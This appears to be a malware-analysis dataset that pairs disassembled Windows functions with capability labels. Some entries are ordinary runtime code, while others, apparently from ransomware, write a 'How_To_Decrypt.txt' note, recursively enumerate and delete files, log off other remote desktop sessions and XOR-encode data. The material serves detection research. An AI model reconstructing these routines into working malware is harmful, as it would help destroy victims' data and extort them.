joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40f090
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov ebx, dword [ebp + 8]
mov dword [esp], ebx
call sym._strlen
mov esi, eax
lea eax, [eax + 0x41]
and eax, 0xfffffff0
call fcn.0040dcc0
mov edx, 0x326d
sub esp, eax
lea eax, [esp + 0x1b]
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
lea edi, [esp + 0xc]
mov word [esp + 0x18], dx
mov dword [esp + 0xc], 0x2d636367
mov dword [esp], eax
mov dword [esp + 0x10], 0x656d6873
mov dword [esp + 0x14], 0x64742d6d
mov byte [esp + 0x1a], 0x2d
call sym._memcpy
lea eax, [esi + 0x10]
lea edx, [edi + eax]
mov dword [ebp - 0x20], eax
mov dword [edx], 0x61616161
mov dword [edx + 4], 0x61616161
mov dword [edx + 8], 0x61616161
mov dword [edx + 0xc], 0x61616161
mov dword [edx + 0x10], 0x61616161
mov dword [edx + 0x14], 0x61616161
mov dword [edx + 0x18], 0x61616161
mov dword [edx + 0x1c], 0x61616161
mov dword [ebp - 0x24], edx
mov byte [esp + esi + 0x3c], 0
mov byte [esp + esi + 0x1b], 0
mov dword [esp + 8], edi
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
sub esp, 0xc
mov byte [edi + esi + 0xf], 0x2d
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
test eax, eax
mov edx, dword [ebp - 0x24]
je 0x40f17f
int3
mov dword [ebp - 0x24], edx
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
sub esp, 4
test ax, ax
mov edx, dword [ebp - 0x24]
jne 0x40f223
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x24], edx
mov dword [esp], eax
call sym._malloc
mov edx, dword [ebp - 0x24]
mov ebx, eax
mov eax, 0x20
bt ebx, eax
jae 0x40f1ba
mov byte [edx], 0x41
add edx, 1
sub eax, 1
jne 0x40f1b2
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_AddAtomA]
sub esp, 4
test ax, ax
je 0x40f220
lea ecx, [esi + 0x31]
mov esi, dword [ebp - 0x20]
movzx eax, ax
mov edx, edi
mov dword [esp], esi
call dbg.get_ptr_from_atom
cmp eax, ebx
mov esi, eax
je 0x40f23a
mov dword [esp], ebx
call sym._free
mov edi, dword [ebp - 0x1c]
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
sub esp, 4
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
int3
lea ecx, [esi + 0x31]
mov esi, dword [ebp - 0x20]
movzx eax, ax
mov edx, edi
mov dword [esp], esi
call dbg.get_ptr_from_atom
mov esi, eax
jmp 0x40f1f4
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], 0
mov dword [esp], ebx
mov dword [esp + 8], eax
call sym._memset
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x40f1f4
mov dword [esp], ebx
call dword [ebp + 0x10]
jmp 0x40f1f4
Function at 0x41b810
Capabilities:
Allocate thread local storage

Disassembly:
push ebx
sub esp, 0x18
mov ebx, dword [0x491e50]
test ebx, ebx
je 0x41b840
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [ebx], eax
mov eax, dword [0x491e50]
test eax, eax
je 0x41b865
cmp dword [eax], 0xffffffff
je 0x41b888
add esp, 0x18
pop ebx
ret
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov ebx, eax
mov dword [0x491e50], eax
jmp 0x41b81e
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x491e50], eax
jmp 0x41b82f
call sym._abort
lea esi, [esi]
Function at 0x41bd20
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
mov eax, dword [0x491e54]
test eax, eax
je 0x41be74
call sym.__pthread_once_raw.constprop.5
mov eax, dword [0x491e50]
test eax, eax
je 0x41bea0
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
test eax, eax
je 0x41bd60
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
call sym._pop_pthread_mem
test eax, eax
mov ebx, eax
je 0x41beec
mov eax, dword [entry3]
test eax, eax
je 0x41beec
mov dword [ebx + 0x24], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebx + 0x38], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
sub esp, 0x10
mov dword [ebx + 0x18], eax
mov dword [ebx + 0x1c], 0xffffffff
mov dword [ebx + 0x34], 0xffffffff
mov dword [ebx + 0x60], 0
mov dword [ebx + 0x14], 0
call esi
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, eax
call esi
mov edx, eax
lea eax, [ebx + 0x14]
mov dword [esp + 0x18], 2
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebp
mov dword [esp + 4], edi
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
sub esp, 0x1c
test eax, eax
je 0x41bef3
mov eax, dword [ebx + 0x14]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [ebx + 0x68], eax
movzx eax, byte [ebx + 0x20]
sub esp, 4
mov dword [ebx + 0x64], 0
and eax, 0xffffffcf
or eax, 0x10
mov byte [ebx + 0x20], al
mov eax, dword [0x491e50]
test eax, eax
je 0x41bec6
mov dword [esp + 4], ebx
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
je 0x41bef3
mov eax, ebx
jmp 0x41bd58
mov dword [esp + 8], 0
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_once_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x491e54], eax
jmp 0x41bd34
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x491e50], eax
jmp 0x41bd46
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x491e50], eax
jmp 0x41be53
xor eax, eax
jmp 0x41bd58
call sym._abort
nop
lea esi, [esi]
Function at 0x41c460
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
cmp dword [esp + 0x24], 3
je 0x41c480
add esp, 0x14
mov eax, 1
pop ebx
pop esi
ret 0xc
mov eax, dword [0x491e50]
test eax, eax
je 0x41c5f0
mov eax, dword [eax]
cmp eax, 0xffffffff
je 0x41c46c
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
test eax, eax
mov ebx, eax
je 0x41c46c
test byte [eax + 0x20], 0x30
je 0x41c540
mov eax, dword [eax + 0xb0]
test eax, eax
jne 0x41c5e0
mov eax, dword [ebx + 0x14]
test eax, eax
je 0x41c4f0
mov dword [esp], eax
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov eax, dword [ebx + 0x18]
sub esp, 4
test eax, eax
je 0x41c4e2
mov dword [esp], eax
call esi
sub esp, 4
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x14], 0
lea eax, [ebx + 0x1c]
mov dword [esp], eax
call sym._pthread_mutex_destroy
mov edx, dword [ebx + 0xac]
mov dword [ebx + 0x34], 0xffffffff
test edx, edx
je 0x41c646
mov eax, dword [0x491e50]
test eax, eax
je 0x41c620
mov dword [esp + 4], 0
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
mov eax, 1
add esp, 0x14
pop ebx
pop esi
ret 0xc
mov eax, dword [eax + 0x64]
test eax, eax
mov eax, dword [ebx + 0x18]
jne 0x41c5a0
test eax, eax
je 0x41c55a
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebx + 0xb0]
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x64], 1
test eax, eax
jne 0x41c5d0
test byte [ebx + 0x24], 4
je 0x41c5b7
mov eax, dword [ebx + 0x14]
mov dword [ebx], 0xdeadbeef
test eax, eax
je 0x41c4e9
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
jmp 0x41c4e9
test eax, eax
je 0x41c5b0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [ebx + 0x18], 0
lea eax, [ebx + 0x1c]
mov dword [esp], eax
call sym._pthread_mutex_destroy
mov dword [ebx + 0x34], 0xffffffff
jmp 0x41c46c
call sym.__pthread_cleanup_dest.part.3
jmp 0x41c572
call sym.__pthread_cleanup_dest.part.3
jmp 0x41c4be
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x491e50], eax
jmp 0x41c48d
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x491e50], eax
jmp 0x41c51d
mov eax, ebx
call sym._push_pthread_mem.part.0
jmp 0x41c510
Function at 0x41d7e0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov esi, dword [esp + 0x20]
call sym.___pthread_self_lite
mov ebx, eax
mov dword [eax + 4], esi
mov eax, dword [eax + 0xb0]
test eax, eax
jne 0x41d85b
test byte [ebx + 0x20], 0x30
je 0x41d862
mov eax, dword [0x491e50]
test eax, eax
je 0x41d8eb
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
test eax, eax
mov ebx, eax
je 0x41d852
cmp dword [eax + 0x14], 0
je 0x41d875
mov esi, dword [eax + 4]
mov dword [eax + 0x64], 1
mov eax, dword [eax + 0x18]
test eax, eax
je 0x41d845
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
test byte [ebx + 0x24], 4
mov dword [ebx + 0x18], 0
jne 0x41d8bf
mov dword [esp], esi
call dword [sym.imp.msvcrt.dll__endthreadex]
call sym.__pthread_cleanup_dest.part.3
jmp 0x41d7fd
add ebx, 0x6c
mov dword [esp + 4], 1
mov dword [esp], ebx
call sym._longjmp
mov dword [eax], 0xdeadbeef
mov eax, dword [eax + 0x18]
test eax, eax
je 0x41d88c
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
cmp dword [ebx + 0xac], 0
mov dword [ebx + 0x18], 0
mov esi, dword [ebx + 4]
je 0x41d8e2
mov eax, dword [0x491e50]
test eax, eax
je 0x41d911
mov dword [esp + 4], 0
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push edx
push edx
jmp 0x41d852
mov eax, dword [ebx + 0x14]
mov dword [ebx], 0xdeadbeef
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
cmp dword [ebx + 0xac], 0
mov dword [ebx + 0x14], 0
jne 0x41d89f
mov eax, ebx
call sym._push_pthread_mem.part.0
jmp 0x41d89f
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x491e50], eax
jmp 0x41d810
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x491e50], eax
jmp 0x41d8a8
Function at 0x420190
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov edi, dword [ebp + 8]
mov dword [esp], edi
call sym._strlen
mov ebx, eax
lea eax, [eax + 0x40]
and eax, 0xfffffff0
call fcn.0040dcc0
mov edx, 0x326d
sub esp, eax
lea eax, [esp + 0x1b]
mov dword [esp + 4], edi
mov dword [esp + 8], ebx
lea esi, [esp + 0xc]
mov word [esp + 0x18], dx
mov dword [esp + 0xc], 0x2d636367
mov dword [esp], eax
mov dword [esp + 0x10], 0x656d6873
mov dword [esp + 0x14], 0x64742d6d
mov byte [esp + 0x1a], 0x2d
call sym._memcpy
lea eax, [ebx + 0x10]
lea edi, [esi + eax]
mov dword [ebp - 0x24], eax
lea eax, [ebx + 0x30]
mov dword [edi], 0x61616161
mov dword [edi + 4], 0x61616161
mov dword [edi + 8], 0x61616161
mov dword [edi + 0xc], 0x61616161
mov dword [edi + 0x10], 0x61616161
mov dword [edi + 0x14], 0x61616161
mov dword [edi + 0x18], 0x61616161
mov dword [edi + 0x1c], 0x61616161
mov dword [ebp - 0x1c], eax
mov byte [esp + ebx + 0x3c], 0
mov byte [esp + ebx + 0x1b], 0
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
sub esp, 0xc
mov byte [esi + ebx + 0xf], 0x2d
mov dword [ebp - 0x20], eax
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
test eax, eax
je 0x42027f
int3
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
sub esp, 4
test ax, ax
jne 0x420323
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._malloc
mov edx, edi
mov ebx, eax
mov eax, 0x20
nop
lea esi, [esi]
bt ebx, eax
jae 0x4202b8
mov byte [edx], 0x41
add edx, 1
sub eax, 1
jne 0x4202b0
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_AddAtomA]
sub esp, 4
test ax, ax
je 0x420320
mov ecx, dword [ebp - 0x24]
mov edx, esi
movzx eax, ax
mov dword [esp], ecx
mov ecx, dword [ebp - 0x1c]
call sym._get_ptr_from_atom_1
cmp eax, ebx
mov esi, eax
je 0x42033a
mov dword [esp], ebx
call sym._free
mov edi, dword [ebp - 0x20]
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
sub esp, 4
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
int3
mov ecx, dword [ebp - 0x24]
mov edx, esi
movzx eax, ax
mov dword [esp], ecx
mov ecx, dword [ebp - 0x1c]
call sym._get_ptr_from_atom_1
mov esi, eax
jmp 0x4202f2
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], 0
mov dword [esp], ebx
mov dword [esp + 8], eax
call sym._memset
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x4202f2
mov dword [esp], ebx
call dword [ebp + 0x10]
jmp 0x4202f2
Function at 0x5c8050
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1c2000]
push edi
jmp 0x5c806a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5c8071
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5c8060
mov eax, 1
add ebx, ebx
jne 0x5c8083
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5c8078
jne 0x5c8094
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5c8078
xor ecx, ecx
sub eax, 3
jb 0x5c80a8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5c811a
mov ebp, eax
add ebx, ebx
jne 0x5c80b3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x5c80c0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x5c80e4
inc ecx
add ebx, ebx
jne 0x5c80d0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5c80c5
jne 0x5c80e1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5c80c5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5c8104
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5c80f5
jmp 0x5c8066
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5c8104
add edi, ecx
jmp 0x5c8066
pop esi
mov edi, esi
mov ecx, 0x6800
jmp 0x5c8155
mov al, byte [edi]
inc edi
cmp al, 0x80
jb 0x5c8135
cmp al, 0x8f
ja 0x5c8135
cmp byte [edi - 2], 0xf
je 0x5c813b
sub al, 0xe8
cmp al, 1
ja 0x5c815f
cmp ecx, 4
jb 0x5c8164
mov eax, dword [edi]
sub al, 1
jne 0x5c815f
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
sub ecx, 4
stosd dword es:[edi], eax
sub ecx, 1
jb 0x5c8164
mov al, byte [edi]
inc edi
jmp 0x5c8135
sub ecx, 1
jae 0x5c8124
lea edi, [esi + 0x1c6000]
mov eax, dword [edi]
or eax, eax
je 0x5c81b5
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x229520]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2295d8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5c816a
mov ecx, edi
jns 0x5c8199
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2295e0]
or eax, eax
je 0x5c81af
mov dword [ebx], eax
add ebx, 4
jmp 0x5c8187
call dword [esi + 0x2295dc]
mov ebp, dword [esi + 0x2295e4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5c81e9
sub esp, 0xffffff80
jmp 0x403665
Function at 0x409f30
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43fbc0]
jne 0x409f3a
repz ret
jmp fcn.0040dfab

Function at 0x40d804
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00409290
and dword [ebp - 4], 0
cmp dword [0x441d30], 0
mov ebx, eax
jne 0x40d8b5
push 0x401b28
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40d966
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401b1c
push edi
call esi
test eax, eax
je 0x40d966
push eax
call fcn.0040921e
mov dword [esp], 0x401b0c
push edi
mov dword [0x441d30], eax
call esi
push eax
call fcn.0040921e
mov dword [esp], 0x401af8
push edi
mov dword [0x441d34], eax
call esi
push eax
call fcn.0040921e
mov dword [esp], 0x401adc
push edi
mov dword [0x441d38], eax
call esi
push eax
call fcn.0040921e
pop ecx
mov dword [0x441d40], eax
test eax, eax
je 0x40d8b5
push 0x401ac4
push edi
call esi
push eax
call fcn.0040921e
pop ecx
mov dword [0x441d3c], eax
mov eax, dword [0x441d3c]
cmp eax, ebx
je 0x40d90d
cmp dword [0x441d40], ebx
je 0x40d90d
push eax
call fcn.00409299
push dword [0x441d40]
mov esi, eax
call fcn.00409299
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40d90d
test edi, edi
je 0x40d90d
call esi
test eax, eax
je 0x40d904
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40d904
test byte [ebp - 0xc], 1
jne 0x40d90d
or dword [ebp + 0x10], 0x200000
jmp 0x40d946
mov eax, dword [0x441d34]
cmp eax, ebx
je 0x40d946
push eax
call fcn.00409299
pop ecx
test eax, eax
je 0x40d946
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40d946
mov eax, dword [0x441d38]
cmp eax, ebx
je 0x40d946
push eax
call fcn.00409299
pop ecx
test eax, eax
je 0x40d946
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x441d30]
call fcn.00409299
pop ecx
test eax, eax
je 0x40d966
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40d968
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40c006
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ecx, 0xcbf
mov ebx, edx
xor word [eax], dx
lea edx, [ebx + edx]
xchg dh, dl
lea eax, [eax + 2]
loop 0x40c00e
pop ebx
ret
Function at 0x401000
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x804
push esi
push str.How_To_Decrypt.txt
push eax
lea ecx, [esp + 0x10]
push str._s._s
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
push 0
push 1
push 0
push 2
push 0x40000000
lea edx, [esp + 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x401069
push 0
lea eax, [esp + 8]
push eax
push 0x4056a0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push 0x4056a0
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
add esp, 0x804
ret
Function at 0x4012c0
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xa5c
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
xor ecx, ecx
cmp eax, 3
sete cl
push esi
lea edx, [esp + 0x26c]
push str._s.
push edx
mov dword [esp + 0x20], ecx
call edi
add esp, 0xc
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x26c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
je 0x401482
mov ebx, dword [sym.imp.SHLWAPI.dll_StrStrW]
jmp 0x401336
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
cmp dword [esp + 0x14], 0
jne 0x401352
lea edx, [esp + 0x44]
push edx
push esi
push 0x403378
lea eax, [esp + 0x274]
push eax
jmp 0x401365
lea ecx, [esp + 0x44]
push ecx
push esi
push str._s_s
lea edx, [esp + 0x274]
push edx
call edi
add esp, 0x10
test byte [esp + 0x18], 0x10
je 0x4013b4
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
push 0x403390
lea eax, [esp + 0x48]
push eax
call edi
test eax, eax
je 0x40145f
push 0x403398
lea ecx, [esp + 0x48]
push ecx
call edi
test eax, eax
je 0x40145f
lea edx, [esp + 0x268]
push edx
call fcn.004012c0
add esp, 4
jmp 0x40145f
xor edi, edi
xor esi, esi
jmp 0x4013c0
mov eax, dword [esi + section..data]
push eax
lea ecx, [esp + 0x26c]
push ecx
call ebx
test eax, eax
je 0x4013da
mov edi, 1
add esi, 4
cmp esi, 0x38
jb 0x4013c0
push 0x405f20
lea edx, [esp + 0x26c]
push edx
call ebx
test eax, eax
jne 0x401408
push 0x40339c
lea eax, [esp + 0x26c]
push eax
call ebx
test eax, eax
je 0x40140d
mov edi, 1
mov eax, dword [esp + 0x18]
test al, 4
jne 0x40145c
test eax, 0x100
jne 0x40145c
test edi, edi
jne 0x40145c
cmp eax, 0x80
je 0x40143a
push 0x80
lea ecx, [esp + 0x26c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [esp + 0x268]
push edx
call fcn.00401080
add esp, 4
test eax, eax
jne 0x40145c
lea eax, [esp + 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, dword [ebp + 8]
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x401330
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401490
Capabilities:
Enumerate processes on remote desktop session host
Get session information

Disassembly:
sub esp, 0x14
lea eax, [esp + 0xc]
push eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
je 0x401565
push ebx
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 8]
push edx
push 1
push 0
push 0
call sub.WTSAPI32.dll_WTSEnumerateSessionsW
xor ebx, ebx
cmp dword [esp + 0xc], ebx
jbe 0x40155a
push esi
push edi
xor esi, esi
mov eax, dword [esp + 0xc]
mov ecx, dword [esi + eax]
cmp ecx, dword [esp + 0x18]
je 0x40154e
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
cmp edi, eax
je 0x40154e
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x14]
push eax
push 8
push edi
push 0
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
cmp eax, 1
jne 0x40154e
mov ecx, dword [esp + 0x10]
cmp word [ecx], 4
push eax
jne 0x40152a
mov edx, dword [esp + 0x10]
mov eax, dword [esi + edx]
push eax
jmp 0x401547
mov ecx, dword [esp + 0x10]
mov edx, dword [esi + ecx]
push edx
push 0
call sub.WTSAPI32.dll_WTSDisconnectSession
cmp eax, 1
jne 0x40154e
push eax
mov eax, dword [esp + 0x10]
mov ecx, dword [esi + eax]
push ecx
push 0
call sub.WTSAPI32.dll_WTSLogoffSession
inc ebx
add esi, 0xc
cmp ebx, dword [esp + 0x14]
jb 0x4014e3
pop edi
pop esi
mov edx, dword [esp + 4]
push edx
call sub.WTSAPI32.dll_WTSFreeMemory
pop ebx
add esp, 0x14
ret

Function at 0x4016b0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
push 2
push 0x400
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
push esi
call ebx
push eax
push 0x4056a0
push esi
call ebx
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
pop esi
pop ebx
ret